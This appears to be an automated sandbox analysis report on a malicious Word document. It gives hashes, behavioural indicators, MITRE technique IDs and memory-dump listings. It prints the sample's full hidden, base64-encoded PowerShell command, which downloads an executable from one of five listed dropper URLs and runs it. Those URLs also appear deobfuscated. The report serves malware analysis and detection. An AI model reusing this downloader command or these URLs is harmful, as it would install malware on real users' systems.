3a0f0986193d0dc5e03ca1229e2509287593c03247e32bb5424009bc35e80738

Resubmissions

08-10-2022 00:17

221008-alen5seafl 10

07-10-2022 06:08

221007-gv6mjsbhhn 10

Analysis

max time kernel
100s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
07-10-2022 06:08

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General

Target

PKSJ Malware/2/VirusShare_2fe5b00079aec2d8369a798230313ec8.doc
Size

125KB
MD5

2fe5b00079aec2d8369a798230313ec8
SHA1

e233595a2ee62f6197fcc7d9088fce3505c38ec0
SHA256

8eb6805a0852b220695175ce81a5b139f1438dc06ea3fc1347b047702880374c
SHA512

d9b4173274b49d7f041aea1a6866d5cc79530360668299385a10f25597b608308a5cb6502363709a7e09e43d30a1df95e1ab72fcc71852c78b51da016c2bbed7
SSDEEP

3072:beKgdzSrG8KyIwLx3phgC1s0rPOWfKNR/:beKUzSLnLx3X3O0r2WfKNJ

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://sandiegohomevalues.com/engl/4de-kzsyhu-768611/

exe.dropper

https://www.wenkawang.com/data/bofze0s-7ji4-15/

exe.dropper

https://www.bruidsfotograaf-utrecht.com/wp-includes/QLvFLy/

exe.dropper

http://ma.jopedu.com/img/8z8dl-3xn-655019278/

exe.dropper

http://pay.jopedu.com/ThinkPHP/l9okcguh6-b9nnrh7-96245524/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1552	4732	Powershell.exe

Blocklisted process makes network request 2 IoCs

Processes:

Powershell.exe

flow pid process

23 1552 Powershell.exe
26 1552 Powershell.exe

flow	pid	process
23	1552	Powershell.exe
26	1552	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4976 WINWORD.EXE
4976 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

Powershell.exe

pid process

1552 Powershell.exe
1552 Powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description pid process

Token: SeDebugPrivilege 1552 Powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

4976 WINWORD.EXE
4976 WINWORD.EXE
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid process

4976 WINWORD.EXE
4976 WINWORD.EXE
4976 WINWORD.EXE
4976 WINWORD.EXE
4976 WINWORD.EXE
4976 WINWORD.EXE
4976 WINWORD.EXE
4976 WINWORD.EXE

pid	process
4976	WINWORD.EXE
4976	WINWORD.EXE

pid	process
1552	Powershell.exe
1552	Powershell.exe

description	pid	process
Token: SeDebugPrivilege	1552	Powershell.exe

pid	process
4976	WINWORD.EXE
4976	WINWORD.EXE

pid	process
4976	WINWORD.EXE
4976	WINWORD.EXE
4976	WINWORD.EXE
4976	WINWORD.EXE
4976	WINWORD.EXE
4976	WINWORD.EXE
4976	WINWORD.EXE
4976	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 4976 wrote to memory of 3488	4976	WINWORD.EXE	splwow64.exe
PID 4976 wrote to memory of 3488	4976	WINWORD.EXE	splwow64.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\PKSJ Malware\2\VirusShare_2fe5b00079aec2d8369a798230313ec8.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4976

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:3488

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABKAGIAagBkAG0AcgBrAGYAPQAnAFcAdgB4AG8AagBqAHgAeQAnADsAJABLAHEAegB2AHEAagBjAGQAYgBkAGsAIAA9ACAAJwAzADAANgAnADsAJABHAHgAZAB1AG8AYwBkAGoAYwBqAHQAPQAnAEIAawBmAGsAYgBvAGYAaQBwAHAAYwB6AHQAJwA7ACQATQBiAGsAbQBvAG8AbgBnAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABLAHEAegB2AHEAagBjAGQAYgBkAGsAKwAnAC4AZQB4AGUAJwA7ACQAVQBlAGYAYwB6AHAAYwBkAGYAaQB4AG8APQAnAFIAcQBkAGsAegBtAHkAZABtAHcAdAB3AGYAJwA7ACQASQB5AGIAbgBwAHkAdABmAGEAcABtAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAJwArACcAagBlAGMAJwArACcAdAAnACkAIABuAGUAVAAuAHcAZQBiAGMATABJAEUAbgB0ADsAJABEAHEAcwB5AG4AYQBoAHkAeQB2AHgAbAA9ACcAaAB0AHQAcABzADoALwAvAHMAYQBuAGQAaQBlAGcAbwBoAG8AbQBlAHYAYQBsAHUAZQBzAC4AYwBvAG0ALwBlAG4AZwBsAC8ANABkAGUALQBrAHoAcwB5AGgAdQAtADcANgA4ADYAMQAxAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgB3AGUAbgBrAGEAdwBhAG4AZwAuAGMAbwBtAC8AZABhAHQAYQAvAGIAbwBmAHoAZQAwAHMALQA3AGoAaQA0AC0AMQA1AC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBiAHIAdQBpAGQAcwBmAG8AdABvAGcAcgBhAGEAZgAtAHUAdAByAGUAYwBoAHQALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAFEATAB2AEYATAB5AC8AKgBoAHQAdABwADoALwAvAG0AYQAuAGoAbwBwAGUAZAB1AC4AYwBvAG0ALwBpAG0AZwAvADgAegA4AGQAbAAtADMAeABuAC0ANgA1ADUAMAAxADkAMgA3ADgALwAqAGgAdAB0AHAAOgAvAC8AcABhAHkALgBqAG8AcABlAGQAdQAuAGMAbwBtAC8AVABoAGkAbgBrAFAASABQAC8AbAA5AG8AawBjAGcAdQBoADYALQBiADkAbgBuAHIAaAA3AC0AOQA2ADIANAA1ADUAMgA0AC8AJwAuACIAUwBgAFAATABJAFQAIgAoACcAKgAnACkAOwAkAEEAdgB2AGgAawBvAHkAZQByAD0AJwBaAGcAegBiAGQAegB5AG0AeQAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgBjAHIAbgBkAHEAZgBtAGYAbQBlACAAaQBuACAAJABEAHEAcwB5AG4AYQBoAHkAeQB2AHgAbAApAHsAdAByAHkAewAkAEkAeQBiAG4AcAB5AHQAZgBhAHAAbQAuACIAZABPAGAAVwBuAGwAbwBhAEQAZgBgAEkAbABlACIAKAAkAFIAYwByAG4AZABxAGYAbQBmAG0AZQAsACAAJABNAGIAawBtAG8AbwBuAGcAKQA7ACQAUAB0AGkAdQBxAHIAaQBqAGQAawBsAHYAZQA9ACcASAB3AGgAcwBtAGwAegBzACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQATQBiAGsAbQBvAG8AbgBnACkALgAiAEwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMwAwADMAMAA5ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAYABUAGEAcgBUACIAKAAkAE0AYgBrAG0AbwBvAG4AZwApADsAJABMAHMAdAB4AHMAcwBpAGEAPQAnAFkAcAB5AGgAdgBoAGgAdwAnADsAYgByAGUAYQBrADsAJABWAG4AYQBzAGIAZgBmAG0AbwBxAD0AJwBDAG0AZwBxAHAAZwBzAHMAbgBkAGkAYgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAGwAcgBlAHIAdgB6AGgAaQA9ACcAQgB2AG4AbQB2AG0AcABhAGQAbgBsAGIAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1552

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1552-143-0x00007FFFC1770000-0x00007FFFC2231000-memory.dmp

Filesize
10.8MB

Download
memory/1552-142-0x00007FFFC1770000-0x00007FFFC2231000-memory.dmp

Filesize
10.8MB

Download
memory/1552-141-0x000002037F990000-0x000002037F9B2000-memory.dmp

Filesize
136KB

Download
memory/3488-139-0x0000000000000000-mapping.dmp

Download
memory/4976-140-0x000001D3B0980000-0x000001D3B0984000-memory.dmp

Filesize
16KB

Download
memory/4976-137-0x00007FFFAB600000-0x00007FFFAB610000-memory.dmp

Filesize
64KB

Download
memory/4976-138-0x00007FFFAB600000-0x00007FFFAB610000-memory.dmp

Filesize
64KB

Download
memory/4976-136-0x00007FFFADAD0000-0x00007FFFADAE0000-memory.dmp

Filesize
64KB

Download
memory/4976-132-0x00007FFFADAD0000-0x00007FFFADAE0000-memory.dmp

Filesize
64KB

Download
memory/4976-135-0x00007FFFADAD0000-0x00007FFFADAE0000-memory.dmp

Filesize
64KB

Download
memory/4976-133-0x00007FFFADAD0000-0x00007FFFADAE0000-memory.dmp

Filesize
64KB

Download
memory/4976-134-0x00007FFFADAD0000-0x00007FFFADAE0000-memory.dmp

Filesize
64KB

Download
memory/4976-145-0x00007FFFADAD0000-0x00007FFFADAE0000-memory.dmp

Filesize
64KB

Download
memory/4976-148-0x00007FFFADAD0000-0x00007FFFADAE0000-memory.dmp

Filesize
64KB

Download
memory/4976-147-0x00007FFFADAD0000-0x00007FFFADAE0000-memory.dmp

Filesize
64KB

Download
memory/4976-146-0x00007FFFADAD0000-0x00007FFFADAE0000-memory.dmp

Filesize
64KB

Download